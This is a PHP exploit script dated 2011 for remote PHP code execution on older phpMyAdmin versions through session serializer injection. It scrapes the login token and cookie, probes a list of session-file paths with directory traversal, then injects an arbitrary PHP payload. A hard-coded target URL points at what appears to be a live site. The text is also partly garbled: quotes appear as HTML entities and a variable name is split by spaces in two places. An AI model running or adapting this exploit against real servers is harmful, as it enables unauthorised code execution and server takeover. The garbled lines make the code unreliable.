<?php
/*
phpMyAdmin < 3.3.10.2 & < 3.4.3.1 Session Serializer arbitrary PHP code execution exploit
by M4g, ICQ 884888, http://snipper.ru, (c) 2011
---
PHP depending and settings on the target PMA installation: magic_quotes_gpc = off, PHP <= 5.2.13 & PHP <= 5.3.2
---
Links & Thanks:
0. http://snipper.ru/view/103/phpmyadmin-33102-3431-session-serializer-arbitrary-php-code-execution-exploit/
1. http://php-security.org/2010/05/31/mops-2010-060-php-session-serializer-session-data-injection-vulnerability/index.html
2. https://rdot.org/forum/showthread.php?t=286
3. http://ha.xxor.se/2011/07/phpmyadmin-3x-multiple-remote-code.html
4. http://snipper.ru/view/12/phpmyadmin-2119-unserialize-arbitrary-php-code-execution-exploit/
*/

/*Settings*/
$pmaurl = &#039;http://l2rf.ru/myadmin/&#039;; //full PMA url
$payload = &#039;<?php phpinfo(); ?>&#039;; //PHP code to execute
/*Settings*/

/*-------------------------------------------EXPLOIT CODE-------------------------------------------*/

$count_redirects = 0;
$max_redirects = 5;

//отправляем http-данные
//$method = POST|GET, $url = http://site.com/path, $data = foo1=bar1&foo2=bar2, referer, cookie, useragent, other headers, timeout, what to show = (0-all, 1-body, 2-headers), redirect = 0|1
function send_data($method, $url, $data = &#039;&#039;, $referer_string = &#039;&#039;, $cookie_string = &#039;&#039;, $ua_string = &#039;Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8&#039;, $other_headers= &#039;&#039;, $timeout = 30, $show = 0, $follow_redirect=0)
    {
    global $count_redirects,$max_redirects;
    $return = &#039;&#039;;
    $feof_count = 0;

    $parsed_url = parse_url($url);
    $site = $parsed_url[&#039;host&#039;];
    $path = $parsed_url[&#039;path&#039;];
    $query = $parsed_url[&#039;query&#039;];

    if(preg_match(&#039;@_$@i&#039;,$query) && !preg_match(&#039;@_$@i&#039;,$url))
        $query = rtrim($query,&#039;_&#039;);

    if(preg_match(&#039;@_$@i&#039;,$path) && !preg_match(&#039;@_$@i&#039;,$url))
        $path = rtrim($path,&#039;_&#039;);

    ($method == &#039;GET&#039; && !empty($data)) ? $path .= &#039;?&#039;.$data : &#039;&#039;;
    ($method == &#039;GET&#039; && !empty($query) && empty($data)) ? $path .= &#039;?&#039;.$query : &#039;&#039;;
    ($method == &#039;POST&#039; && !empty($query)) ? $path .= &#039;?&#039;.$query : &#039;&#039;;

    if($fp = fsockopen($site, 80, $errno, $errstr, $timeout))
        {
        ($method == &#039;POST&#039;) ? $out = "POST $path HTTP/1.1\r\n" : $out = "GET $path HTTP/1.1\r\n";
           $out .= "Host: $site\r\n";
          $out .= "Content-type: application/x-www-form-urlencoded\r\n";
             $out .= "Connection: Close\r\n";
           $out .= "User-Agent: $ua_string\r\n";
           !empty($referer_string) ? $out .= "Referer: $referer_string\r\n" : &#039;&#039;;
           !empty($cookie_string) ? $out .= "Cookie: $cookie_string\r\n" : &#039;&#039;;
        !empty($other_headers) ? $out .= $other_headers : &#039;&#039;;
        ($method == &#039;POST&#039;) ? $out .= "Content-Length: ".strlen($data)."\r\n\r\n" : $out .= "\r\n";
        ($method == &#039;POST&#039;) ? fwrite($fp, $out.$data) : fwrite($fp, $out);

        while (!feof($fp))
            {
            if($feof_count >=10000)
                break;

            $return .= fread($fp, 4800);
            ++$feof_count;
            }

        fclose($fp);

        if($follow_redirect)
            {
            if($count_redirects<$max_redirects)
                {
                if(preg_match(&#039;@Location: (.+)@i&#039;,$return,$redirect_match))
                    {
                    $count_redirects++;
                    $return = send_data($method, $redirect_match[1], $data, $referer_string, $cookie_string, $ua_string, $other_headers, $timeout, $show, $follow_redirect);
                    $count_redirects = 0;
                    }
                }
            else
                return &#039;Max redirects = &#039;.$max_redirects;
            }

        if($show == 1)
            {
            $return = explode("\r\n\r\n",$return);
            $return = $return[1];
            }
        elseif($show == 2)
            {
            $return = explode("\r\n\r\n",$return);
            $return = $return[0];
            }

        return $return;
        }
    else
        return array(&#039;errno&#039; => $errno, &#039;errstr&#039; => $errstr);
        }

$pmaurl = rtrim($pmaurl,&#039;/&#039;).&#039;/index.php&#039;;

//Regards to asddas
$sess_path = array(&#039;/tmp/&#039;,
                   &#039;/var/tmp/&#039;,
                   &#039;/var/lib/php/&#039;,
                   &#039;/var/lib/php4/&#039;,
                   &#039;/var/lib/php5/&#039;,
                   &#039;/var/lib/php/session/&#039;,
                   &#039;/var/lib/php4/session/&#039;,
                   &#039;/var/lib/php5/session/&#039;,
                   &#039;/shared/sessions&#039;,
                   &#039;/var/php_sessions/&#039;,
                   &#039;/var/sessions/&#039;,
                   &#039;/tmp/php_sessions/&#039;,
                   &#039;/tmp/sessions/&#039;,
                   &#039;../../../tmp/&#039;,
                   &#039;../../../../tmp/&#039;,
                   &#039;../../../../../tmp/&#039;,
                   &#039;../../../../../../tmp/&#039;,
                   &#039;../../../../../../../tmp/&#039;,
                   &#039;../../../temp/&#039;,
                   &#039;../../../../temp/&#039;,
                   &#039;../../../../../temp/&#039;,
                   &#039;../../../../../../temp/&#039;,
                   &#039;../../../../../../../temp/&#039;,
                   &#039;../../../sessions/&#039;,
                   &#039;../../../../sessions/&#039;,
                   &#039;../../../../../sessions/&#039;,
                   &#039;../../../../../../sessions/&#039;,
                   &#039;../../../../../../../sessions/&#039;,
                   &#039;../../../phptmp/&#039;,
                   &#039;../../../../phptmp/&#039;,
                   &#039;../../../../../phptmp/&#039;,
                   &#039;../../../../../../phptmp/&#039;,
                   &#039;../../../../../../../phptmp/&#039;);

//1. Token, Session name and Cookies
$token_page = send_data(&#039;GET&#039;,$pmaurl);

preg_match(&#039;@name="token" value="([a-f0-9]{32})"@is&#039;,$token_page,$token_array);

$token = $token_array[1];

preg_match_all(&#039;@Set-Cookie: ([^\r\n;]+)@is&#039;,$token_page,$cookie_array);

$cookie_array = $cookie_array[1];
$cookie_array = implode("; ",$cookie_array);

preg_match(&#039;@phpMyAdmin=([a-z0-9]{32,40});?@is&#039;,$token_page,$session_array);

$session = $session_array[1];

//2. Inject into session testing

$sess_test_page = &#039;&#039;;
$o = 0;
$good_inj = false;

do
    {
    $inj = $sess_path[$o].&#039;sess_&#039;.$session;
    $query = $pmaurl.&#039;?session_to_unset=123&token=&#039;.$token.&#039;&_SESSION[!bla]=&#039;.urlencode(&#039;|xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:&#039;.strlen($inj).&#039;:"&#039;.$inj.&#039;";}}&#039;);
    $sess_test_page = send_data(&#039;GET&#039;,$query,&#039;&#039;,$pmaurl,$cookie_array);
    $sess_test_page2 = send_data(&#039;GET&#039;,$pmaurl.&#039;?token=&#039;.$token,&#039;&#039;,$pmaur  l,$cookie_array);

    if(stristr($sess_test_page2,&#039;PMA_Config&#039;))
        {
        $good_inj = $inj;
        flush();
        print &#039;[+] &#039;.$inj.&#039; - good path<br/>&#039;;
        break;
        }
    else
        {
        flush();
        print &#039;[-] &#039;.$inj.&#039; - bad path<br/>&#039;;
        }
    $o++;
    }
while($o < count($sess_path));

if($good_inj)
    {
    $query = $pmaurl.&#039;?session_to_unset=123&token=&#039;.$token.&#039;&_SESSION[!bla]=&#039;.urlencode(&#039;|xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:&#039;.strlen($good_inj).&#039;:"&#039;.$good_inj.&#039;";}}&#039;).&#039;&_SESSION[payload]=&#039;.urlencode($payload);
    $sess_test_page = send_data(&#039;GET&#039;,$query,&#039;&#039;,$pmaurl,$cookie_array);
    $sess_test_page2 = send_data(&#039;GET&#039;,$pmaurl.&#039;?token=&#039;.$token,&#039;&#039;,$pmaur  l,$cookie_array);

    print $sess_test_page2;
    }
else
    die(&#039;[+] Session path was not found&#039;);